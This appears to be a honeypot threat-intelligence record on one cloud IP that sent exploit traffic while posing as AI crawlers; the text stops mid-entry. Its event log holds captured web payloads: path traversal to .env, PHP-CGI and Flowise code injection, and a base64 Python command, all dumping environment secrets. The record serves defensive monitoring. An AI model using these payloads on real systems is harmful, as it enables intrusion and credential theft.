{"ip":"34.90.30.67","observed":true,"total_events":402,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"73 exploit-path hits","confidence":"high","network_type":null,"why":["73 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,619,787 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,619,787 bytes sent","bytes_sent":2619787,"session_seconds":9,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-14T16:46:57","last_seen":"2026-10-14T16:47:06","events_24h":402,"events_7d":402,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"Groningen","city":"Groningen","lat":53.2222,"lon":6.5664,"asn":396982,"org":"Google LLC"},"source_domain":"67.30.90.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":402}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106fb010006f70303ce830ca6a72a7c45de35dc03d76259cc55c4695b68ba02023cb6d112e3f2f3c420692735a0fd83ad72d1f2f96f902ccd110e4d305721a33927f3b4936405d2088c0020baba130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100068e6a6a0000fe0d00fa0000010001d600206b87ddbaedc2f72d5fe6f067004eecaaf9ac274356294ea55766bedd0c49854800d01846449b61d699b3b8a7b8284ca841cf1033265683b97ae14cf96780c1517038dd0ff1c242607ca9880b89bb83dc1d227d9a50e750b73dfd2c818b5def15683b60c6306f9b086d80cd6f7c762ed5d3214f301d98a651873781c33fd807643e1d45a193a7b5ff8050cb52956baf8eec58a23278a5dc86b0e2628f47f3773a4855478c1329fa7646f596c1aa53f24ba4a775c5939557c6161ae2d36e484b5c9ce96d6cbfe15a91bcccbc58f72b25bd937e2ebf82147fb781cde67164f9750cb8c748530f23deef8f67fd82d462aa4fb06c002b0007060a0a03040303002d000201010010000e000c02683208687474702f312e31ff01000100003304ef04edbaba00010011ec04c049a3caaf0c267ef17f9f252986b469813659eb01390c1677c1fc54c3744b75246bafebca7749873a2b41870973bd2c021366173c9c3f03752648ec7129b1b8a25a70e65abfcf1273e47cc83861bee55bbaca37876f85c36d15920ea241f4d4859fb16b5b34854ab40b82a31bb551bd720279f4c756af342f1e9c994e740a8198660ce071862937293cc376c95d61c06609f826fbb25de500bd8e719dfb4a2f44393d15d9b223425a50f6c91873a43ae6c54ec304f50918822a62bcc2c196219542ba2d610081acb596ab777119250727848690e740387420280659a43cca8862c48aa8c4296460c12853565baa60cc197a817f53e676ff618da975ca67d8a776f29755c296985c31396c2c80c08453695d5dd01707f66795b14d06c132db7958c9f976c0830bbdf90aada471dd48a633769b36989ff49c18d71383197b83bc39a38396a3c96824d380a32bbc684db1b8e3ca8ab22cb2f034a24537b948db6a08d932c4558848ba9fe91b0feec8a413716e226082ae6053f334b56d1c453a46c3bd726ac4e699971bcf6fa33274c68144030037844914f7ca7bf2c7fc88a611f183f2ac08f70bc53808557a26cc48bcc46e81bb139ca87035a734a525d2566145498ff1da85c594b1114109d4990e2b29171cec994147a191d956f6a86ff5c14d36680e34604d75f7b370612991cabee11295b056b455dc129e00b08b5766e381a925d22651c671c568940d419a87637705364edb55c930309eb9a9064a4703a9146d6c0317f1a299032b07c5d95960cb8ec2494309a9bbd1f7ceb22a235cea57c0672f62467413e53413e3c952b60f86925ab6919250a91e89688cec68b4090987283c9282a72fcd0b82884706eff014b9b130f782c603300a18eab2680c88f49971ff9ac2f87164b8ab2c3a98af0904b83e9a89f2c052d9a36b708172fd543e5e061b934c5ee43016d2103359457e9bc6941de8145af7b8281537873985313c76c3557a30c7bdca8886fb805988951074b34be7682fbf214e4b3a9aca06679464ac50c62f9875211ec3399ad37659815885c61718e5c85a224eb0998e8c531f4f70ab46131b32d945c92a8778fa28bc3c606321a72e358c54c78e874569c9da5e4b09b972e223a854c784d96bd8b47bf787c88698612e43bf335746f1ebb6c377c949d0b5f8931a38a545be603e0a8c7b1d81091a684ca1b81d58938cc71a907e091ff2864bd6269614620d8e6aa073acc288576817f54d0f8b3ae68916f422c11260b0feb0b54b3b1ccd0a9a4fa9327974b4da00774d942cd33a6963fb588875cab6bbaa1a0c38b4a660796bcc2145aabe491f27e1c31d80bd38f02967fb3de7585f94b9c2a0cb51e0d966839b3b7f919a283621d64046f89916019901be129caf9a68a1a92bf23b3ee37b2658203b5775889aa658e8200cdb29591cd9c44fd37b16913139660924a20302a837b5d01f6f26cd005b9c59d336220bca47b3298bd06852745bda0801b7f8233006432625a3e665a384886afc8ac37c4cacd30053e36083d0f73c544a67c6ec5fcdd1c41da29b879335894366cbc76e95d42f24569a7ef77c195434d4985aca9b8abd73b2573772c5190a25779b5313b04bcb482d23ffec93a3722c301707809eb37b17450cab6fb3e1c5d80f3efe54438a479c9e69cd92228ab9bd3a2ffcdfa83fa739b669fd472a167730dc92a5ad8d0bc16a001d0020cfb68fa439ef8fabb630b56599526d74cfb4fdff772b68d89f20fee2f7b88e3d0012000000000017001500001273697465732e7072696e636875622e636f6d001b00030200020005000501000000000017000044cd00050003026832000b0002010000230000000d0012001004030804040105030805050108060601000a000c000ababa11ec001d001700187a7a0001","tls_ja3":["c431850d016e070698bb8a0c7681b8b5","268d41d9dac4438d860ea6c056878fc6","e28943df4d6b13ae9d3bd3a6ecc67df1","8f8d3df344a274fa3219d3611fe4c099","aaf6ab55cb8d859595017f830953a339"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":29,"b11cun062_00040016_84d4cebf_xce00d0f1":23,"b11cun162_000c73fe_fe528c8e_xce00d0f1":23,"b11cuq082_00050816_8184102b_xd0f1e7f3":18,"b11cuq150_10057dde_0ef1dcbb":23,"b11cuq050_00050812_107c8b82":110},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":110},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":110}},"user_agents":["Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-14","count":402}],"recent_events":[{"timestamp":"2026-10-14T16:47:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d416473426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f616473626f740d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":63,"duration_ms":8751,"bytes_in":24793,"bytes_out":4788},{"timestamp":"2026-10-14T16:47:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":62,"duration_ms":8611,"bytes_in":24387,"bytes_out":4712},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2042616964757370696465722f322e303b202b687474703a2f2f7777772e62616964752e636f6d2f7365617263682f7370696465722e68746d6c290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":61,"duration_ms":8492,"bytes_in":24138,"bytes_out":4636},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook/","summary":"","payload_hex":"504f5354202f776562686f6f6b2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c65786974792d557365722f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c65786974792d75736572290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":60,"duration_ms":8364,"bytes_in":23856,"bytes_out":4560},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d536561726368426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":59,"duration_ms":8240,"bytes_in":23537,"bytes_out":4484},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":58,"duration_ms":8086,"bytes_in":23232,"bytes_out":4408},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":57,"duration_ms":7945,"bytes_in":22978,"bytes_out":4332},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":56,"duration_ms":7747,"bytes_in":22486,"bytes_out":4256},{"timestamp":"2026-10-14T16:47:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":55,"duration_ms":7627,"bytes_in":22043,"bytes_out":4180},{"timestamp":"2026-10-14T16:47:04","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20427974657370696465723b207370696465722d666565646261636b406279746564616e63652e636f6d29204170706c655765624b69742f3533372e33360d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","ja3":"85e2d6e8a64d04131dd3484fc44685e2","session":"95072b60-b5b5-4d4f-bd50-ee2d06b19c4f","seq":54,"duration_ms":7492,"bytes_in":21651,"bytes_out":4104}],"http_methods":[{"method":"GET","count":358},{"method":"POST","count":41},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/form/","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/webhook-test/","count":2,"ports":1},{"path":"/firebase-credentials.json","count":1,"ports":1},{"path":"/docker-compose.override.yml","count":1,"ports":1},{"path":"/serverless.yaml","count":1,"ports":1},{"path":"/.env.live","count":1,"ports":1},{"path":"/functionRouter","count":1,"ports":1},{"path":"/static//app/.env","count":1,"ports":1},{"path":"/.cargo/credentials.toml","count":1,"ports":1},{"path":"/api/v1/validate/code","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":402}],"top_hosts":[{"value":"sites.princhub.com","count":402}],"top_alpns":[{"value":"h2, http/1.1","count":402}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File 